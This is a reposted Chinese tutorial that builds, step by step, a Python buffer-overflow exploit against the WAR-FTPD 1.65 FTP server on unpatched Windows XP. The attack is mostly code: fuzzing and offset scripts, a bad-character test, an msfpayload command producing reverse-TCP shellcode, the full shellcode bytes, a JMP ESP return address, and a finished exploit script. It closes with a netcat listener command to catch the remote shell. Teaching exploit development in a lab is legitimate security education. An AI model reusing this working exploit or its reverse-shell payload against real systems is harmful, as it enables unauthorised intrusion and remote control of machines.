转载

实例讲解如何利用Python编写Exploit

本项目的主要目的是学习编写一个Exploit的基本知识。后文中我将尽量将我所学内容一步一步地写成一篇指导性文章,包括过程中我所遇到的失败之处。为了使本文尽可能容易阅读,所以我决定以一个熟知的漏洞程序为例子,并以自己的方式来一步步编写利用代码。

0×00 环境介绍

受害端:

1、Windows XP(未打补丁) 2、WAR-FTPD 1.65 3、Immunity Debugger

攻击端:

1、Python 2、Telnet 3、Netcat

0×01 初始设置

在Windows计算机上运行Immunity Debugger和WAR-FTPD windows,然后通过Telnet连接它以确认从攻击端能够访问它。

实例讲解如何利用Python编写Exploit

0×02 Fuzzing、溢出

从这里开始,我们尝试通过一个缓冲区溢出漏洞来攻陷FTP服务器。首先,为了使输入内容能够攻破FTP服务,我们会向某个输入框中填写大量的数据,其中最明显的地方就是用户名或密码输入框。

#!/usr/bin/python import socket, sys   target = '192.168.131.132' payload = 'A' * int(sys.argv[1]) print "Payload length = %s/n" % sys.argv[1]   def send_exploit():     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)     s.settimeout(1)     s.connect((target, 21))     try:         s.send('user %s/r/n' % payload)         print s.recv(1000)         s.send('pass test/r/n')     except:         print "[+] server is down"     s.close()   if __name__ == "__main__":     send_exploit()

实例讲解如何利用Python编写Exploit

正如你所看到的,当我们利用一个长度为1000字节的payload(有效载荷)来测试时,输出了“[+]server is down”的信息,这意味着它可能在第500个字节时崩溃了。

在Immunity Debugger中,EIP也被41414141(AAAA级)所覆写,而它刚好匹配上我们的payload。需要注意的是,要记得在每次崩溃之后重启WAR-FTPD,然后再进行下一次尝试。

实例讲解如何利用Python编写Exploit

接下来我们要做的是为exploit找到所允许输入的最大数量,因为它基本上能告诉我们payload能够使用的空间大小。通过重复上面的方法,手动增加或减少输入内容的字节数,然后利用Immunity Debugger来验证刚好崩溃时的内容字节数。

当以1200+个字节内容进行测试时,最终停留在了一个名为msvcrt.dll的DLL文件中,而这里的EIP与41414141完全不同。另外,当payload大小为1100字节或以下时,我们仍然控制着EIP。

实例讲解如何利用Python编写Exploit

0×03 定位EIP

EIP是指向下一条指令的指针,通过控制它我们可以强制FTP服务器运行并执行非法位置的代码。此外,你总是可以通过手工测试来找到EIP,但这需要花费很长时间,所以我写了一个脚本来帮助我识别该指针。脚本内容见: bufferoverflow.py 。

#!/usr/bin/python import socket, sys   target = '192.168.131.132' payload = sys.argv[1] print "Payload length = %s/n" % len(sys.argv[1])   def send_exploit():     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)     s.settimeout(1)     s.connect((target, 21))     try:         s.send('user %s/r/n' % payload)         print s.recv(1000)         s.send('pass test/r/n')     except:         print "[+] server is down"     s.close()   if __name__ == "__main__":     send_exploit()

实例讲解如何利用Python编写Exploit

当运行bufferoverflow.py并将输入解析到利用脚本中时,Immunity Debugger报告EIP的值为32714131,然后我以该EIP地址重新在bufferoverflow.py中运行,最后它能够识别EIP的位置,并识别到它处于Little Endian(小端)模式。

0×04 测试并识别坏字符

到目前为止,我们知道以下内容:

1、EIP位于‘A’* 485 +‘EIP_ADDRESS’ 2、Payload的最大长度是1100字节
#!/usr/bin/python import socket   target = '192.168.131.132'   buf = ''   exploit = 'A' * 485 + 'BBBB' + buf padding = "C" * (1100 - len(exploit)) payload = exploit + padding   print 'Space left: %d bytes/n' % len(padding)   def send_exploit():     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)     s.settimeout(1)     s.connect((target, 21))     try:         s.send('user %s/r/n' % payload)         print s.recv(1000)         s.send('pass test/r/n')     except:         print "[+] server is down"     s.close()   if __name__ == "__main__":     send_exploit()

然后我用42424242(BBBB)替换EIP,以使其更容易验证我得到了真正的位置。 如果我们跟随ESP dump,那么我们还可以看到EIP后面伴随着很多C,而这正是我们可以植入利用代码的地方。

实例讲解如何利用Python编写Exploit

现在我们需要做的是,测试是否存在可能给我们的利用代码带来麻烦的坏字符。

Common bad characters that may break the exploit.  Hex Dec Description  --- --- ---------------------------------------------  0x00 0 Null byte, terminates a C string  0x0A 10 Line feed, may terminate a command line  0x0D 13 Carriage return, may terminate a command line  0x20 32 Space, may terminate a command line argument

通过运行这段代码,我们将尝试0 x00到0 xff之间任何两者的组合。

#!/usr/bin/python import socket   target = '192.168.131.132'   buf = '' badcharacters = []   for i in range(0,256):     if not any(chr(i) in s for s in badcharacters):         buf += chr(i)     exploit = 'A' * 485 + 'BBBB' + buf padding = "C" * (1100 - len(exploit)) payload = exploit + padding   print 'Space left: %d bytes/n' % len(padding)   def send_exploit():     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)     s.settimeout(1)     s.connect((target, 21))     try:         s.send('user %s/r/n' % payload)         print s.recv(1000)         s.send('pass test/r/n')     except:         print "[+] server is down"     s.close()   if __name__ == "__main__":     send_exploit()

在检测ESP dump过程中我们进行多次测试,现在我们就可以移除这些坏字符了,因为它们会破坏溢出注入操作。

实例讲解如何利用Python编写Exploit

在第四次测试时发生了一件很怪异的事情。当我从payload中删除/x00、/x0a和/x0a后,程序就开始不崩溃了。 经过一些测试,我发现导致崩溃消失的这个字符是/ x40,或者符号“@”。我以后需要深入研究一下这个符号,因为一个程序即使在EIP值全为B时也能够继续运行,这一点讲不通。

0×05 创建exploit

现在,既然我们已经知道了所有的坏字符,那么就可以开始创建exploit了。为了简单起见,我将使用一个反向TCP shell连接到攻击机器的端口4444上,而非使用meterpreter。此外,我还使用msfvenom做了一些测试,但并不能生成正常工作的shellcode。

msfpayload windows/shell_reverse_tcp LHOST="192.168.131.132" LPORT=4444 EXITFUNC=thread R | msfencode -b '/x00/x0a/x0d/x40' -e x86/shikata_ga_nai   [*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)   buf = "/xb8/x9c/x9b/xd9/xaf/xda/xcd/xd9/x74/x24/xf4/x5b/x2b/xc9" + "/xb1/x4f/x31/x43/x14/x03/x43/x14/x83/xeb/xfc/x7e/x6e/x25" + "/x47/xf7/x91/xd6/x98/x67/x1b/x33/xa9/xb5/x7f/x37/x98/x09" + "/x0b/x15/x11/xe2/x59/x8e/xa2/x86/x75/xa1/x03/x2c/xa0/x8c" + "/x94/x81/x6c/x42/x56/x80/x10/x99/x8b/x62/x28/x52/xde/x63" + "/x6d/x8f/x11/x31/x26/xdb/x80/xa5/x43/x99/x18/xc4/x83/x95" + "/x21/xbe/xa6/x6a/xd5/x74/xa8/xba/x46/x03/xe2/x22/xec/x4b" + "/xd3/x53/x21/x88/x2f/x1d/x4e/x7a/xdb/x9c/x86/xb3/x24/xaf" + "/xe6/x1f/x1b/x1f/xeb/x5e/x5b/x98/x14/x15/x97/xda/xa9/x2d" + "/x6c/xa0/x75/xb8/x71/x02/xfd/x1a/x52/xb2/xd2/xfc/x11/xb8" + "/x9f/x8b/x7e/xdd/x1e/x58/xf5/xd9/xab/x5f/xda/x6b/xef/x7b" + "/xfe/x30/xab/xe2/xa7/x9c/x1a/x1b/xb7/x79/xc2/xb9/xb3/x68" + "/x17/xbb/x99/xe4/xd4/xf1/x21/xf5/x72/x82/x52/xc7/xdd/x38" + "/xfd/x6b/x95/xe6/xfa/x8c/x8c/x5e/x94/x72/x2f/x9e/xbc/xb0" + "/x7b/xce/xd6/x11/x04/x85/x26/x9d/xd1/x09/x77/x31/x8a/xe9" + "/x27/xf1/x7a/x81/x2d/xfe/xa5/xb1/x4d/xd4/xd3/xf6/xda/x17" + "/x4b/x7b/x9b/xf0/x8e/x7b/x8d/x5c/x06/x9d/xc7/x4c/x4e/x36" + "/x70/xf4/xcb/xcc/xe1/xf9/xc1/x44/x81/x68/x8e/x94/xcc/x90" + "/x19/xc3/x99/x67/x50/x81/x37/xd1/xca/xb7/xc5/x87/x35/x73" + "/x12/x74/xbb/x7a/xd7/xc0/x9f/x6c/x21/xc8/x9b/xd8/xfd/x9f" + "/x75/xb6/xbb/x49/x34/x60/x12/x25/x9e/xe4/xe3/x05/x21/x72" + "/xec/x43/xd7/x9a/x5d/x3a/xae/xa5/x52/xaa/x26/xde/x8e/x4a" + "/xc8/x35/x0b/x6a/x2b/x9f/x66/x03/xf2/x4a/xcb/x4e/x05/xa1" + "/x08/x77/x86/x43/xf1/x8c/x96/x26/xf4/xc9/x10/xdb/x84/x42" + "/xf5/xdb/x3b/x62/xdc"

将payload添加到代码中,运行它并在崩溃时检查ESP dump。你可以看到:很多AAAAA,将其转换成十六进制后看起来很像exploit,后面紧随着CCCCCC。如果你未看到任何CCCCCC,这可能意味着exploit太长了,以至于你用完了可用空间;或者你忘了使用“-b”参数删除坏字符。不过,你可以通过运行exploit来验证剩余空间大小。

Space left: 297 bytes

0×06 定位有效的注入点

1、EIP位于‘A’* 485 +‘EIP_ADDRESS’ 2、payload最大长度是1100字节 3、坏字符:/x00、/x0a、/x0d、/x40

坏字符不仅影响shell code,而且还影响我们想要操作的EIP。因为WAR-FTPD运行于一个以“00”起始的内存位置,意味着我们不能向这个位置注入payload,所以需要寻找另一个由WAR-FTPD加载到内存中的文件。

实例讲解如何利用Python编写Exploit

我强烈建议确认该文件不受ASLR或Rebase保护,否则这将使我们的工作非常困难。你可以下载mona插件并运行“!mona modules”来检测ASLR和Rebase保护的文件。下面,有两种类型的指令是我们需要寻找的,它们分别是“JMP ESP”或指令序列“PUSH ESP;RET”。

此外,ole32.dll似乎处于一个有效的内存范围内(base:7774 e0000,top:7774 d000)。打开它之后,我成功地找到了一个JMP ESP,并附带一个有效的内存地址:7755A930。

注意:十六进制奇数值(如1、3、5、7、9、B、D、F)的JMP ESP将不会起作用。

实例讲解如何利用Python编写Exploit

既然我们得到了一个目标地址,那么我们可以在exploit中用7755A930代替“BBBB”。需要记住的是,WAR-FTPD使用小端模式,这意味着我们需要反转指针地址为30A95577。

#!/usr/bin/python import socket   target = '192.168.131.132'     buf = ( "/xb8/x9c/x9b/xd9/xaf/xda/xcd/xd9/x74/x24/xf4/x5b/x2b/xc9" + "/xb1/x4f/x31/x43/x14/x03/x43/x14/x83/xeb/xfc/x7e/x6e/x25" + "/x47/xf7/x91/xd6/x98/x67/x1b/x33/xa9/xb5/x7f/x37/x98/x09" + "/x0b/x15/x11/xe2/x59/x8e/xa2/x86/x75/xa1/x03/x2c/xa0/x8c" + "/x94/x81/x6c/x42/x56/x80/x10/x99/x8b/x62/x28/x52/xde/x63" + "/x6d/x8f/x11/x31/x26/xdb/x80/xa5/x43/x99/x18/xc4/x83/x95" + "/x21/xbe/xa6/x6a/xd5/x74/xa8/xba/x46/x03/xe2/x22/xec/x4b" + "/xd3/x53/x21/x88/x2f/x1d/x4e/x7a/xdb/x9c/x86/xb3/x24/xaf" + "/xe6/x1f/x1b/x1f/xeb/x5e/x5b/x98/x14/x15/x97/xda/xa9/x2d" + "/x6c/xa0/x75/xb8/x71/x02/xfd/x1a/x52/xb2/xd2/xfc/x11/xb8" + "/x9f/x8b/x7e/xdd/x1e/x58/xf5/xd9/xab/x5f/xda/x6b/xef/x7b" + "/xfe/x30/xab/xe2/xa7/x9c/x1a/x1b/xb7/x79/xc2/xb9/xb3/x68" + "/x17/xbb/x99/xe4/xd4/xf1/x21/xf5/x72/x82/x52/xc7/xdd/x38" + "/xfd/x6b/x95/xe6/xfa/x8c/x8c/x5e/x94/x72/x2f/x9e/xbc/xb0" + "/x7b/xce/xd6/x11/x04/x85/x26/x9d/xd1/x09/x77/x31/x8a/xe9" + "/x27/xf1/x7a/x81/x2d/xfe/xa5/xb1/x4d/xd4/xd3/xf6/xda/x17" + "/x4b/x7b/x9b/xf0/x8e/x7b/x8d/x5c/x06/x9d/xc7/x4c/x4e/x36" + "/x70/xf4/xcb/xcc/xe1/xf9/xc1/x44/x81/x68/x8e/x94/xcc/x90" + "/x19/xc3/x99/x67/x50/x81/x37/xd1/xca/xb7/xc5/x87/x35/x73" + "/x12/x74/xbb/x7a/xd7/xc0/x9f/x6c/x21/xc8/x9b/xd8/xfd/x9f" + "/x75/xb6/xbb/x49/x34/x60/x12/x25/x9e/xe4/xe3/x05/x21/x72" + "/xec/x43/xd7/x9a/x5d/x3a/xae/xa5/x52/xaa/x26/xde/x8e/x4a" + "/xc8/x35/x0b/x6a/x2b/x9f/x66/x03/xf2/x4a/xcb/x4e/x05/xa1" + "/x08/x77/x86/x43/xf1/x8c/x96/x26/xf4/xc9/x10/xdb/x84/x42" + "/xf5/xdb/x3b/x62/xdc")   # EIP = 7755A930 = /x30/xa9/x55/x77 nop = '/x90' * 14 exploit = 'A' * 485 + '/x30/xa9/x55/x77' + nop + buf padding = "C" * (1100 - len(exploit)) payload = exploit + padding   print 'Space left: %d bytes/n' % len(padding)   def send_exploit():     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)     s.settimeout(1)     s.connect((target, 21))     try:         s.send('user %s/r/n' % payload)         print s.recv(1000)         s.send('pass test/r/n')     except:         print "[+] server is down"     s.close()   if __name__ == "__main__":     send_exploit()

0×07 Pwning WAR-FTPD

在攻击端机器上运行netcat或类似的工具,使其监听4444端口(nc -nlvp 4444)。接着,开始愉快地pwning吧 !

实例讲解如何利用Python编写Exploit

正文到此结束
Loading...